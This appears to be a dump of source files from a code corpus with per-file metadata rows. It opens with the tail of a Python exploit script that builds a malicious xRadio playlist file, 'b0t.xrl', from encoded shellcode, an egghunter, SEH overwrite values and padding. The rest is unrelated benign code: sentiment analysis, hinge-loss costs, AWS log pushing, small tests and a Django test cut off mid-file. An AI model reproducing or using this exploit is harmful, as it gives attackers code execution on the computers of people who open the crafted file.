"\x4c\x48\x51\x4c\x56\x44\x54\x4e\x4c\x49\x5a\x43\x52\x48\x52" "\x4c\x43\x58\x50\x30\x56\x38\x43\x58\x45\x32\x56\x50\x52\x54" "\x43\x55\x50\x31\x49\x59\x4b\x38\x50\x4c\x47\x54\x45\x57\x4c" "\x49\x4b\x51\x56\x51\x58\x52\x43\x5a\x47\x30\x50\x53\x50\x51" "\x51\x42\x4b\x4f\x58\x50\x56\x51\x49\x50\x56\x30\x4b\x4f\x50" "\x55\x43\x38\x41\x41") junk = "\x41" * 3248 tag = "\x77\x30\x30\x74\x77\x30\x30\x74" nops = "\x90" * 230 egghunter = ("\x66\x81\xCA\xFF\x0F\x42\x52\x6A\x02\x58\xCD\x2E\x3C\x05\x5A\x74\xEF\xB8" "\x77\x30\x30\x74\x8B\xFA\xAF\x75\xEA\xAF\x75\xE7\xFF\xE7") nseh = "\xeb\x88\x90\x90" seh = "\x82\xe2\x47\x00" junk2 = "\x42" * 884 try: file = open('b0t.xrl','w'); file.write(junk+tag+shellcode+nops+egghunter+nseh+seh+junk2); file.close(); print("[+] b0t.xrl created.") print("[+] Open xRadio.exe...") print("[+] and Radios >> Edit List >> Save radio list") print("[+] Select the *.xrl file, press Yes and boom!!\n") except: print("\n[-] Error.. Can't write file to system.\n")

41.271845

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0.668313

842

4,251

3.36342

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0.287296

0.107504

4,251

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0.101266

0

null

0

1

0

1

0

1

null

1

0

6

384236e370b45275685506bccd09da961477be46

233

py

Python

exquiro/models/class_diagram/attribute.py

xhusar2/conceptual_model_parser

63eea4ab8b967a6d2ee612ffb4a06b93e97d0043

[ "MIT" ]

null

exquiro/models/class_diagram/attribute.py

xhusar2/conceptual_model_parser

63eea4ab8b967a6d2ee612ffb4a06b93e97d0043

[ "MIT" ]

null

exquiro/models/class_diagram/attribute.py

xhusar2/conceptual_model_parser

63eea4ab8b967a6d2ee612ffb4a06b93e97d0043

[ "MIT" ]

null

class Attribute: name = "" id = "" attributes = [] def __init__(self, attrib_id, name): self.name = name self.id = attrib_id def __str__(self): return f'id:{self.id} name: {self.name}'

16.642857

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233

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0.172414

0.241379

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0.321888

233

13

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17.923077

0.734177

0

0.12987

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1

0.222222

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0

0.111111

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1

0

1

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null

0

1

0

1

0

6

69d3a8ab2872b70adc61bba4d49a0fadf1054651

25

py

Python

__init__.py

vishalbelsare/RLS

877358be0671129bf5c31aedbdf31bed38e9297a

[ "MIT" ]

1

2021-07-24T18:13:00.000Z

__init__.py

vishalbelsare/RLS

877358be0671129bf5c31aedbdf31bed38e9297a

[ "MIT" ]

null

__init__.py

vishalbelsare/RLS

877358be0671129bf5c31aedbdf31bed38e9297a

[ "MIT" ]

1

2021-07-24T18:13:01.000Z

from RLS.RLS import RLS

12.5

24

0.76

5

25

3.8

0.6

0

0.2

25

1

25

0.95

0

1

0

true

0

1

0

1

0

1

0

null

0

1

0

null

0

1

0

1

0

1

0

6

69d879d34b083c6f145914643ec4b88f44e5bd04

30

py

Python

primer/module.py

YunYouJun/python-learn

e41ce8ca289fbb6e1a14e07aee6d4b797e6d5d8c

[ "MIT" ]

null

primer/module.py

YunYouJun/python-learn

e41ce8ca289fbb6e1a14e07aee6d4b797e6d5d8c

[ "MIT" ]

null

primer/module.py

YunYouJun/python-learn

e41ce8ca289fbb6e1a14e07aee6d4b797e6d5d8c

[ "MIT" ]

null

from math import pi print(pi)

10

19

0.766667

6

30

3.833333

0.833333

0

0.166667

30

2

20

15

0.92

0

1

0

true

0

0.5

0

0.5

1

0

null

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1

0

null

0

1

0

1

0

1

0

6

69fbbaee70c4c46e85c50e9ae7cd23771cea7460

310

py

Python

Package Bundler.py

STPackageBundler/package-bundler

6c2a97f7b1db2dc5d6afff72557c09927095d851

[ "MIT" ]

7

2015-01-24T05:22:31.000Z

2018-07-12T07:30:46.000Z

Package Bundler.py

STPackageBundler/package-bundler

6c2a97f7b1db2dc5d6afff72557c09927095d851

[ "MIT" ]

null

Package Bundler.py

STPackageBundler/package-bundler

6c2a97f7b1db2dc5d6afff72557c09927095d851

[ "MIT" ]

null

from .package_bundler.commands.load import PackageBundlerLoadCommand from .package_bundler.commands.manager import PackageBundlerManagerCommand from .package_bundler.commands.create import PackageBundlerCreateBundleCommand from .package_bundler.events_listeners.project_loader import ProjectLoaderEventListener

77.5

87

0.912903

30

310

9.233333

0.533333

0.158845

0.259928

0.281588

0

0.048387

310

4

87

77.5

0.938983

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

3858b41dd95dee29fa3d8ad28d00fdf8453285d4

27

py

Python

tests/test_diss.py

mvcisback/DISS

3ac94d62d2f10e2642a5ea7ef27b1ed045664abc

[ "MIT" ]

null

tests/test_diss.py

mvcisback/DISS

3ac94d62d2f10e2642a5ea7ef27b1ed045664abc

[ "MIT" ]

null

tests/test_diss.py

mvcisback/DISS

3ac94d62d2f10e2642a5ea7ef27b1ed045664abc

[ "MIT" ]

null

def test_smoke(): pass

9

17

0.62963

4

27

4

1

0

0.259259

27

2

18

13.5

0.8

0

1

0.5

true

0.5

0

0.5

0

1

0

null

0

1

0

null

0

1

0

6

389e5cfb89c3ee3cd5c0cd63b9d29182b8d8435e

87

py

Python

backend/users/tests.py

NumanIbnMazid/numanibnmazid.com

905e3afab285316d88bafa30dc080dfbb0611731

[ "MIT" ]

1

2022-01-28T18:20:19.000Z

backend/users/tests.py

NumanIbnMazid/numanibnmazid.com

905e3afab285316d88bafa30dc080dfbb0611731

[ "MIT" ]

null

backend/users/tests.py

NumanIbnMazid/numanibnmazid.com

905e3afab285316d88bafa30dc080dfbb0611731

[ "MIT" ]

null

# import test cases from users.test_cases.user_test_cases import UserTestCase # NOQA

21.75

65

0.816092

13

87

5.230769

0.615385

0.397059

0

0.137931

87

3

66

29

0.906667

0.252874

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

38b5485bd4c08353afb9b1a765fa78134b2a3049

77

py

Python

quantipy/core/tools/view/__init__.py

encount/quantipy3

01fe350b79594ba162cd48ce91f6e547e74265fe

[ "MIT" ]

null

quantipy/core/tools/view/__init__.py

encount/quantipy3

01fe350b79594ba162cd48ce91f6e547e74265fe

[ "MIT" ]

null

quantipy/core/tools/view/__init__.py

encount/quantipy3

01fe350b79594ba162cd48ce91f6e547e74265fe

[ "MIT" ]

null

from . import agg from . import meta from . import struct from . import query

19.25

20

0.753247

12

77

4.833333

0.5

0.689655

0

0.194805

77

4

21

19.25

0.935484

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

2a627d577441bd87ff76b1f7fd715d75193c3aa1

177

py

Python

modules/rapids_modules/transform/data_obj.py

goosen78/gQuant

cc0bff4ac524ccfbe8097acd647a8b3fad5fe578

[ "Apache-2.0" ]

null

modules/rapids_modules/transform/data_obj.py

goosen78/gQuant

cc0bff4ac524ccfbe8097acd647a8b3fad5fe578

[ "Apache-2.0" ]

null

modules/rapids_modules/transform/data_obj.py

goosen78/gQuant

cc0bff4ac524ccfbe8097acd647a8b3fad5fe578

[ "Apache-2.0" ]

null

class NormalizationData(object): def __init__(self, data): self.data = data class ProjectionData(object): def __init__(self, data): self.data = data

16.090909

32

0.649718

20

177

5.35

0.4

0.299065

0.242991

0.317757

0.616822

0

0.248588

177

10

33

17.7

0.804511

0

0.666667

0

1

0.333333

false

0

0.666667

0

1

0

null

1

0

null

0

1

0

1

0

6

aa5019510be8dcde3a8d23f7f8be5bc4a92c92d3

124

py

Python

solutions/variance.py

jsamoocha/python-for-datascience

1b8f8b96944eb23cce2b7200f66361dd223ce13e

[ "MIT" ]

null

solutions/variance.py

jsamoocha/python-for-datascience

1b8f8b96944eb23cce2b7200f66361dd223ce13e

[ "MIT" ]

null

solutions/variance.py

jsamoocha/python-for-datascience

1b8f8b96944eb23cce2b7200f66361dd223ce13e

[ "MIT" ]

null

def variance(numbers): mu = sum(numbers) / len(numbers) return sum([(n - mu) ** 2 for n in numbers]) / len(numbers)

31

63

0.612903

19

124

4

0.578947

0.263158

0.447368

0

0.010309

0.217742

124

3

64

41.333333

0.773196

0

1

0.333333

false

0

0.666667

0

1

0

null

1

0

1

0

null

0

1

0

1

0

6

aa5482072d2a74021ef1f149b710759a0ec7c8be

216

py

Python

Codewars/7kyu/complementary-dna/Python/test.py

RevansChen/online-judge

ad1b07fee7bd3c49418becccda904e17505f3018

[ "MIT" ]

7

2017-09-20T16:40:39.000Z

2021-08-31T18:15:08.000Z

Codewars/7kyu/complementary-dna/Python/test.py

RevansChen/online-judge

ad1b07fee7bd3c49418becccda904e17505f3018

[ "MIT" ]

null

Codewars/7kyu/complementary-dna/Python/test.py

RevansChen/online-judge

ad1b07fee7bd3c49418becccda904e17505f3018

[ "MIT" ]

null

# Python - 3.6.0 Test.assert_equals(DNA_strand('AAAA'), 'TTTT', 'String AAAA is') Test.assert_equals(DNA_strand('ATTGC'), 'TAACG', 'String ATTGC is') Test.assert_equals(DNA_strand('GTAT'), 'CATA', 'String GTAT is')

36

67

0.708333

34

216

4.323529

0.5

0.204082

0.326531

0.387755

0.537415

0.367347

0

0.015306

0.092593

216

5

68

43.2

0.734694

0.064815

0

0.345

0

1

0

true

0

null

1

0

1

0

null

0

1

0

1

0

6

aa65aeec14b5b9a13426da76359de50ea5eece36

3,538

py

Python

ankistats/stats.py

nogira/anki-stats

81fc4b11ff958d9844f95679a1fe596b2865d29c

[ "MIT" ]

null

ankistats/stats.py

nogira/anki-stats

81fc4b11ff958d9844f95679a1fe596b2865d29c

[ "MIT" ]

null

ankistats/stats.py

nogira/anki-stats

81fc4b11ff958d9844f95679a1fe596b2865d29c

[ "MIT" ]

null

from .tables import * def stats_lapse_retention( start_date: str = "", end_date: str = "" ): """ Get the percentage of corrent answers. Date input in the format of "DD-MM-YY" """ df = tbl_reviews() if start_date: date = pd.to_datetime(start_date, format="%d-%m-%y") df = df[df.Review_ID > date] if end_date: date = pd.to_datetime(end_date, format="%d-%m-%y") df = df[df.Review_ID < date] track_lapses = [] wrong_count = 0 right_count = 0 def track_lapse_stats(row) -> None: nonlocal track_lapses nonlocal wrong_count nonlocal right_count is_relearning = row['Review_Type'] == 'Relearning' if is_relearning: track_lapses.append(row['Card_ID']) # the very next review after card_ID is stored will be the first review # after relearning # however, to make sure the card hasnt seen reset to new, check the card # isnt new (i.e. 'Learning'). if new, remove card from list elif row['Card_ID'] in track_lapses: if row['Review_Type'] == 'Learning': track_lapses.remove(row['Card_ID']) elif row['Review_Answer'] == 'Wrong': wrong_count += 1 else: right_count += 1 track_lapses.remove(row['Card_ID']) df.apply(track_lapse_stats, axis=1) print("Right:", right_count) print("Wrong:", wrong_count) print("Fraction Correct:", right_count / (right_count + wrong_count)) def stats_learning_graduation_retention( graduation_interval, pre_graduation_interval, start_date: str = "", end_date: str = "" ): """ Get the percentage of corrent answers on learning graduation intervals. graduation_interval and pre_graduation_interval in the format "4 days", "10 min", etc Date input in the format of "DD-MM-YY" """ df = tbl_reviews() if start_date: date = pd.to_datetime(start_date, format="%d-%m-%y") df = df[df.Review_ID > date] if end_date: date = pd.to_datetime(end_date, format="%d-%m-%y") df = df[df.Review_ID < date] track_lapses = [] wrong_count = 0 right_count = 0 def track_lapse_stats(row) -> None: nonlocal track_lapses nonlocal wrong_count nonlocal right_count is_learning = row['Review_Type'] == 'Learning' is_last_step = ( row['Review_New_Interval'] == pd.Timedelta(graduation_interval) and row['Review_Last_Interval'] == pd.Timedelta(pre_graduation_interval) ) if is_learning and is_last_step: track_lapses.append(row['Card_ID']) # the very next review after card_ID is stored will be the first review # after learning # however, to make sure the card hasnt seen reset to new, check the card # isnt new (i.e. 'Learning'). if new, remove card from list elif row['Card_ID'] in track_lapses: if row['Review_Type'] == 'Learning': track_lapses.remove(row['Card_ID']) elif row['Review_Answer'] == 'Wrong': wrong_count += 1 else: right_count += 1 track_lapses.remove(row['Card_ID']) df.apply(track_lapse_stats, axis=1) print("Right:", right_count) print("Wrong:", wrong_count) print("Fraction Correct:", right_count / (right_count + wrong_count))

29.483333

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0.596099

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3,538

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0.023964

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0

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0.296778

3,538

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0.799839

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0

1

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false

0

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0

0.068493

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0

null

0

1

0

1

0

null

0

6

aa827e294f9285097e86e2726f649c0eddadd157

3,415

py

Python

pylearn2/costs/hinge_loss.py

BouchardLab/pylearn2

4cab785b870d22cd9e85a5f536d4cac234b6bf60

[ "BSD-3-Clause" ]

null

pylearn2/costs/hinge_loss.py

BouchardLab/pylearn2

4cab785b870d22cd9e85a5f536d4cac234b6bf60

[ "BSD-3-Clause" ]

null

pylearn2/costs/hinge_loss.py

BouchardLab/pylearn2

4cab785b870d22cd9e85a5f536d4cac234b6bf60

[ "BSD-3-Clause" ]

null

""" Hinge loss costs. """ __authors__ = 'Jesse Livezey, Brian Cheung' from theano.compat.python2x import OrderedDict from pylearn2.costs.cost import Cost, DefaultDataSpecsMixin from pylearn2.expr.nnet import HingeL2, HingeL1, Misclass class HingeLoss(DefaultDataSpecsMixin, Cost): supervised = True def get_monitoring_channels(self, model, data): space, source = self.get_data_specs(model) space.validate(data) X, Y = data Y_hat = model.fprop(X) rval = OrderedDict() name = model.layers[-1].layer_name+'_misclass' rval[name] = Misclass(Y, Y_hat) return rval def expr(self, model, data): raise ValueError('Abstract HingeLoss class ' +'should not be used directly.') class HingeLossL2(HingeLoss): def expr(self, model, data): space, source = self.get_data_specs(model) space.validate(data) X, Y = data Y_hat = model.fprop(X) cost = HingeL2(Y, Y_hat) cost.name = 'hingel2' return cost class HingeLossL1(HingeLoss): def expr(self, model, data): space, source = self.get_data_specs(model) space.validate(data) X, Y = data Y_hat = model.fprop(X) cost = HingeL1(Y, Y_hat) cost.name = 'hingel1' return cost class DropoutHingeLossL2(HingeLoss): def __init__(self, default_input_include_prob=.5, input_include_probs=None, default_input_scale=2., input_scales=None, per_example=True): if input_include_probs is None: input_include_probs = {} if input_scales is None: input_scales = {} self.__dict__.update(locals()) del self.self def expr(self, model, data): space, source = self.get_data_specs(model) space.validate(data) X, Y = data Y_hat = model.dropout_fprop( X, default_input_include_prob=self.default_input_include_prob, input_include_probs=self.input_include_probs, default_input_scale=self.default_input_scale, input_scales=self.input_scales, per_example=self.per_example) cost = HingeL2(Y, Y_hat) cost.name = 'hingel2' return cost class DropoutHingeLossL1(HingeLoss): def __init__(self, default_input_include_prob=.5, input_include_probs=None, default_input_scale=2., input_scales=None, per_example=True): if input_include_probs is None: input_include_probs = {} if input_scales is None: input_scales = {} self.__dict__.update(locals()) del self.self def expr(self, model, data): space, source = self.get_data_specs(model) space.validate(data) X, Y = data Y_hat = model.dropout_fprop( X, default_input_include_prob=self.default_input_include_prob, input_include_probs=self.input_include_probs, default_input_scale=self.default_input_scale, input_scales=self.input_scales, per_example=self.per_example) cost = HingeL1(Y, Y_hat) cost.name = 'hingel1' return cost

32.836538

87

0.595022

394

3,415

4.873096

0.200508

0.1

0.088542

0.071875

0.755729

0.745313

0

0.009495

0.321523

3,415

103

88

33.15534

0.819163

0.004978

0

0.792683

0

0.034513

0

1

0.097561

false

0

0.036585

0

0.268293

0

null

0

1

0

1

0

null

0

6

aa9380f4b2ce3efca51bbd6da3de1f92185f4f1f

6,825

py

Python

main_NLTK.py

Jordan396/Twitter-Sentiment-Analysis

c81abca584ec040c5fa8f284845a5d9cdbb4bbc7

[ "MIT" ]

10

2019-10-12T01:40:25.000Z

2021-11-28T19:03:56.000Z

main_NLTK.py

JordanTanCH/Basic_Twitter_Sentiment_Analysis

c81abca584ec040c5fa8f284845a5d9cdbb4bbc7

[ "MIT" ]

null

main_NLTK.py

JordanTanCH/Basic_Twitter_Sentiment_Analysis

c81abca584ec040c5fa8f284845a5d9cdbb4bbc7

[ "MIT" ]

5

2019-04-17T02:34:56.000Z

2021-01-29T21:47:05.000Z

''' Python 3.6, Python NLTK model This file contains the code required to test the various models under the Python NLTK model. The results will be written into their individual output file in a CSV format. Instructions to execute the file can be found at the bottom of the file. ''' import csv from nltk.sentiment.vader import SentimentIntensityAnalyzer from nltk import tokenize import tweetCleaner import tweetProcesser sentiment = SentimentIntensityAnalyzer() def NLTKCleanRaw(): ''' Raw NLTK model ''' tweet_counter = 0 with open("results_nltk_raw.txt","w", encoding = "utf-8") as postresults: newWriter = csv.writer(postresults, delimiter='\t', quotechar='|', quoting=csv.QUOTE_MINIMAL) with open("raw_twitter.txt","r", encoding = "utf-8") as postprocessed: for line in postprocessed.readlines(): total_score = 0 tweet_counter += 1 try: print("Processing tweet: {}".format(tweet_counter)) tweet = tweetCleaner.lowercase(line) tweet = tweetCleaner.StopWordRemover(tweet) tweet = tweetCleaner.removeSpecialChars(tweet) tweet = tweetCleaner.removeAllNonAlpha(tweet) tweet = tweetCleaner.lemmatizer(tweet) lines_list = tokenize.sent_tokenize(tweet) for sentence in lines_list: ss = sentiment.polarity_scores(sentence) total_score -= ss["neg"] total_score += ss["pos"] total_score = round(total_score,3) if total_score == 0: newWriter.writerow([0, "neutral"]) elif total_score > 0: newWriter.writerow([total_score, "positive"]) else: newWriter.writerow([total_score, "negative"]) except: newWriter.writerow([0, "neutral"]) print("ERROR processing tweet: {}".format(tweet_counter)) def NLTKCleanAbbrev(): """ NLTK model with extended abbreviations """ tweet_counter = 0 tweetProcesser.abbreviation_extender() with open("results_nltk_abbrev.txt","w", encoding = "utf-8") as postresults: newWriter = csv.writer(postresults, delimiter='\t', quotechar='|', quoting=csv.QUOTE_MINIMAL) with open("abbreviations_twitter.txt","r", encoding = "utf-8") as postprocessed: for line in postprocessed.readlines(): total_score = 0 tweet_counter += 1 try: print("Processing tweet: {}".format(tweet_counter)) tweet = tweetCleaner.StopWordRemover(tweet) tweet = tweetCleaner.removeSpecialChars(tweet) tweet = tweetCleaner.removeAllNonAlpha(tweet) tweet = tweetCleaner.lemmatizer(tweet) lines_list = tokenize.sent_tokenize(tweet) for sentence in lines_list: ss = sentiment.polarity_scores(sentence) total_score -= ss["neg"] total_score += ss["pos"] total_score = round(total_score,3) if total_score == 0: newWriter.writerow([0, "neutral"]) elif total_score > 0: newWriter.writerow([total_score, "positive"]) else: newWriter.writerow([total_score, "negative"]) except: newWriter.writerow([0, "neutral"]) print("ERROR processing tweet: {}".format(tweet_counter)) def NLTKCleanEmoji(): """ NLTK model with emoticon scoring """ tweet_counter = 0 with open("results_nltk_emoji.txt","w", encoding = "utf-8") as postresults: newWriter = csv.writer(postresults, delimiter='\t', quotechar='|', quoting=csv.QUOTE_MINIMAL) with open("raw_twitter.txt","r", encoding = "utf-8") as postprocessed: for line in postprocessed.readlines(): total_score = 0 tweet_counter += 1 try: print("Processing tweet: {}".format(tweet_counter)) tweet = tweetCleaner.lowercase(line) tweet = tweetCleaner.StopWordRemover(tweet) tweet = tweetCleaner.removeSpecialChars(tweet) tweet,total_score = tweetProcesser.emoticon_score(tweet) tweet = tweetCleaner.removeAllNonAlpha(tweet) tweet = tweetCleaner.lemmatizer(tweet) lines_list = tokenize.sent_tokenize(tweet) for sentence in lines_list: ss = sentiment.polarity_scores(sentence) total_score -= ss["neg"] total_score += ss["pos"] total_score = round(total_score,3) if total_score == 0: newWriter.writerow([0, "neutral"]) elif total_score > 0: newWriter.writerow([total_score, "positive"]) else: newWriter.writerow([total_score, "negative"]) except: newWriter.writerow([0, "neutral"]) print("ERROR processing tweet: {}".format(tweet_counter)) def NLTKCleanAbbrevEmoji(): """ NLTK model with extended abbreviations AND emoticon scoring """ tweet_counter = 0 tweetProcesser.abbreviation_extender() with open("results_nltk_abbrev_emoji.txt","w", encoding = "utf-8") as postresults: newWriter = csv.writer(postresults, delimiter='\t', quotechar='|', quoting=csv.QUOTE_MINIMAL) with open("abbreviations_twitter.txt","r", encoding = "utf-8") as postprocessed: for line in postprocessed.readlines(): total_score = 0 tweet_counter += 1 try: print("Processing tweet: {}".format(tweet_counter)) tweet = tweetCleaner.lowercase(line) tweet = tweetCleaner.StopWordRemover(tweet) tweet = tweetCleaner.removeSpecialChars(tweet) tweet,total_score = tweetProcesser.emoticon_score(tweet) tweet = tweetCleaner.removeAllNonAlpha(tweet) tweet = tweetCleaner.lemmatizer(tweet) lines_list = tokenize.sent_tokenize(tweet) for line in lines_list: ss = sentiment.polarity_scores(line) total_score -= ss["neg"] total_score += ss["pos"] total_score = round(total_score,3) if total_score == 0: newWriter.writerow([0, "neutral"]) elif total_score > 0: newWriter.writerow([total_score, "positive"]) else: newWriter.writerow([total_score, "negative"]) except: newWriter.writerow([0, "neutral"]) print("ERROR processing tweet: {}".format(tweet_counter)) print("====================TEST BEGIN=======================") ''' BASIC: This is the main function we will be executing. It combines all the cleaning and processing steps described in the GitHub README. Run this script in your python command shell. ''' NLTKCleanAbbrevEmoji() ''' ADVANCED: Sometimes, performing excessive cleaning operations on the input may worsen the accuracy of the model. Hence, here are several other models you may wish to test for accuracy comparison. The description of the models may be found under the individual functions above. To test a model, simply comment the above "Basic" model and uncomment any of the models below. Run this script in your python command shell. ''' #NLTKCleanRaw() #NLTKCleanAbbrev() #NLTKCleanEmoji() print("====================TEST END=========================")

31.451613

112

0.675751

783

6,825

5.773946

0.205619

0.084052

0.029197

0.024773

0.782791

0.761115

0.738996

0.722628

0

0.007718

0.202637

6,825

217

113

31.451613

0.823043

0.069011

0

0.856061

0

0.117358

0.040056

0

1

0.030303

false

0

0.037879

0

0.068182

0.075758

0

null

0

1

0

1

0

null

0

6

aa98dc8a73ac60c704da20d603a503d790b1f93f

537

py

Python

tests/test_impact_stats.py

natcap/opal

7b960d51344483bae30d14ccfa6004bd550f3737

[ "BSD-3-Clause" ]

1

2020-04-15T23:23:27.000Z

tests/test_impact_stats.py

natcap/opal

7b960d51344483bae30d14ccfa6004bd550f3737

[ "BSD-3-Clause" ]

null

tests/test_impact_stats.py

natcap/opal

7b960d51344483bae30d14ccfa6004bd550f3737

[ "BSD-3-Clause" ]

null

from adept import static_maps if __name__ == '__main__': stats = static_maps.compute_impact_stats( '/home/jadoug06/workspace/invest-natcap.permitting/ignore_me/sediment_map_quality/bare/watershed_40/random_impact_0', 'sediment', '/home/jadoug06/workspace/invest-natcap.permitting/ignore_me/sediment_map_quality/bare/watershed_vectors/feature_40.shp', 5, '/home/jadoug06/workspace/invest-natcap.permitting/ignore_me/sediment_map_quality/bare/watershed_40/watershed_lulc.tif') print stats

44.75

129

0.769088

69

537

5.57971

0.492754

0.093506

0.163636

0.21039

0.649351

0

0.029851

0.126629

537

11

130

48.818182

0.791045

0

0.333333

0.679702

0.649907

0

null

0

0.111111

null

0.111111

0

null

0

1

0

1

0

1

null

0

1

0

6

aab450edb54fecbaa8f47b8dd83fee30ef31b389

2,818

py

Python

eksupdate/src/ekslogs.py

aws-samples/amazon-eks-one-click-cluster-upgrade

b9fcddfe0acb45a0d400177141603962a9ba322e

[ "MIT-0" ]

26

2021-11-29T17:54:59.000Z

2022-03-28T10:00:11.000Z

eksupdate/src/ekslogs.py

aws-samples/amazon-eks-one-click-cluster-upgrade

b9fcddfe0acb45a0d400177141603962a9ba322e

[ "MIT-0" ]

null

eksupdate/src/ekslogs.py

aws-samples/amazon-eks-one-click-cluster-upgrade

b9fcddfe0acb45a0d400177141603962a9ba322e

[ "MIT-0" ]

2

2021-12-03T19:10:54.000Z

2022-02-08T09:34:57.000Z

import boto3 import time #commented for enhancements # def log_creator(regionName,cluster_name): # logs = boto3.client('logs',region_name=regionName) # LOG_GROUP = 'cluster-' + cluster_name + '-' + regionName # LOG_STREAM = cluster_name + '-' + regionName + '-'+'eks-update-logs-streams' # is_exist_group = len(logs.describe_log_groups( # logGroupNamePrefix=LOG_GROUP, # ).get('logGroups')) > 0 # if not is_exist_group: # logs.create_log_group(logGroupName=LOG_GROUP) # is_stream_existing = len(logs.describe_log_streams( # logGroupName=LOG_GROUP, # logStreamNamePrefix=LOG_STREAM # )['logStreams'] # ) > 0 # if not is_stream_existing: # logs.create_log_stream(logGroupName=LOG_GROUP, # logStreamName=LOG_STREAM) # response =response = logs.describe_log_streams( # logGroupName=LOG_GROUP, # logStreamNamePrefix=LOG_STREAM # ) def logs_pusher(regionName,cluster_name,msg): logs = boto3.client('logs',region_name=regionName) LOG_GROUP = 'cluster-' + cluster_name + '-' + regionName LOG_STREAM = cluster_name + '-' + regionName + '-'+'eks-update-logs-streams' is_exist_group = len(logs.describe_log_groups( logGroupNamePrefix=LOG_GROUP, ).get('logGroups')) > 0 if not is_exist_group: logs.create_log_group(logGroupName=LOG_GROUP) is_stream_existing = len(logs.describe_log_streams( logGroupName=LOG_GROUP, logStreamNamePrefix=LOG_STREAM )['logStreams'] ) > 0 if not is_stream_existing: logs.create_log_stream(logGroupName=LOG_GROUP, logStreamName=LOG_STREAM) response =response = logs.describe_log_streams( logGroupName=LOG_GROUP, logStreamNamePrefix=LOG_STREAM ) try: timestamp = int(round(time.time() * 1000)) event_log = { 'logGroupName': LOG_GROUP, 'logStreamName': LOG_STREAM, 'logEvents': [ { 'timestamp': timestamp, 'message': str(msg) }], } if 'uploadSequenceToken' in response['logStreams'][0]: event_log.update({'sequenceToken': response['logStreams'][0] ['uploadSequenceToken']}) response = logs.put_log_events(**event_log) except Exception as e: timestamp = int(round(time.time() * 1000)) event_log = { 'logGroupName': LOG_GROUP, 'logStreamName': LOG_STREAM, 'logEvents': [ { 'timestamp': timestamp, 'message': str(msg) }], } event_log.update({'sequenceToken': str(e).split(" ")[-1]}) response = logs.put_log_events(**event_log) return

32.767442

98

0.608588

284

2,818

5.757042

0.214789

0.078287

0.122324

0.044037

0.824465

0.785321

0

0.008811

0.275018

2,818

85

99

33.152941

0.791483

0.311923

0

0.44898

0

0.126239

0.011998

0

1

0.020408

false

0

0.040816

0

0.081633

0

null

0

1

0

null

0

6

aabeac65b7ab2d6b3b2ebad791c71667e44e5c59

121

py

Python

GrADim/__init__.py

cs107-i-m-i-m/cs107-FinalProject

9b6c0b83cb3f4da7a29973179c3529b829c20c96

[ "MIT" ]

null

GrADim/__init__.py

cs107-i-m-i-m/cs107-FinalProject

9b6c0b83cb3f4da7a29973179c3529b829c20c96

[ "MIT" ]

null

GrADim/__init__.py

cs107-i-m-i-m/cs107-FinalProject

9b6c0b83cb3f4da7a29973179c3529b829c20c96

[ "MIT" ]

null

from GrADim.forward_mode import ForwardMode from GrADim.GrADim import Gradim from GrADim.reverse_mode import ReverseMode

30.25

43

0.876033

17

121

6.117647

0.470588

0.288462

0

0.099174

121

3

44

40.333333

0.954128

0

1

0

true

0

1

0

1

0

1

0

null

1

0

1

0

null

0

1

0

1

0

1

0

6

2ac634fdccf1c087931eb1cd84282d03e07d6716

246

py

Python

deepr/examples/movielens/layers/__init__.py

drohde/deepr

672772ea3ce9cf391f9f8efc7ae9c9d438957817

[ "Apache-2.0" ]

null

deepr/examples/movielens/layers/__init__.py

drohde/deepr

672772ea3ce9cf391f9f8efc7ae9c9d438957817

[ "Apache-2.0" ]

null

deepr/examples/movielens/layers/__init__.py

drohde/deepr

672772ea3ce9cf391f9f8efc7ae9c9d438957817

[ "Apache-2.0" ]

null

# pylint: disable=unused-import,missing-docstring from deepr.examples.movielens.layers.loss import BPRLoss from deepr.examples.movielens.layers.transformer import TransformerModel from deepr.examples.movielens.layers.average import AverageModel

41

72

0.861789

30

246

7.066667

0.566667

0.127358

0.240566

0.367925

0.45283

0

0.065041

246

5

73

49.2

0.921739

0.191057

0

1

0

true

0

1

0

1

0

null

0

1

0

1

0

null

0

1

0

1

0

1

0

6

2af5ccf2e682803ae39882c32baea4e080c0299c

7,620

py

Python

tests/apps/courses/test_models_course_glimpse_date.py

lunika/richie

b0b04d0ffc0b16f2f1b8a8201418b8f86941e45f

[ "MIT" ]

null

tests/apps/courses/test_models_course_glimpse_date.py

lunika/richie

b0b04d0ffc0b16f2f1b8a8201418b8f86941e45f

[ "MIT" ]

null

tests/apps/courses/test_models_course_glimpse_date.py

lunika/richie

b0b04d0ffc0b16f2f1b8a8201418b8f86941e45f

[ "MIT" ]

null

""" Unit tests for the Course model """ from datetime import timedelta from django.test import TestCase from django.utils import timezone from richie.apps.courses.factories import CourseFactory, CourseRunFactory class CourseRunModelsTestCase(TestCase): """ Unit test suite for computing a date to display on the course glimpse depending on the state of its related course runs: 0: a run is on-going and open for enrollment > "closing on": {enrollment_end_date} 1: a run is future and open for enrollment > "starting on": {start_date} 2: a run is future and not yet open or already closed for enrollment > "starting on": {start_date} 3: a run is on-going but closed for enrollment > "on going": {None} 4: there's a finished run in the past > "archived": {None} 5: there are no runs at all > "coming soon": {None} """ def setUp(self): super().setUp() self.now = timezone.now() def create_run_ongoing_closed(self, course): """Create an on-going course run that is closed for enrollment.""" return CourseRunFactory( course=course, start=self.now - timedelta(hours=1), end=self.now + timedelta(hours=1), enrollment_end=self.now - timedelta(hours=1), ) def create_run_archived(self, course): """Create an archived course run.""" return CourseRunFactory( course=course, start=self.now - timedelta(hours=1), end=self.now ) def create_run_future_not_yet_open(self, course): """Create a course run in the future and not yet open for enrollment.""" return CourseRunFactory( course=course, start=self.now + timedelta(hours=2), enrollment_start=self.now + timedelta(hours=1), ) def create_run_future_closed(self, course): """Create a course run in the future and already closed for enrollment.""" return CourseRunFactory( course=course, start=self.now + timedelta(hours=1), enrollment_start=self.now - timedelta(hours=2), enrollment_end=self.now - timedelta(hours=1), ) def create_run_future_open(self, course): """Create a course run in the future and open for enrollment.""" return CourseRunFactory( course=course, start=self.now + timedelta(hours=1), enrollment_start=self.now - timedelta(hours=1), enrollment_end=self.now + timedelta(hours=1), ) def test_models_course_glimpse_info_coming_soon(self): """ Confirm glimpse datetime result when there is no course runs at all. """ course = CourseFactory() with self.assertNumQueries(2): glimpse_info = course.glimpse_info self.assertEqual( glimpse_info, 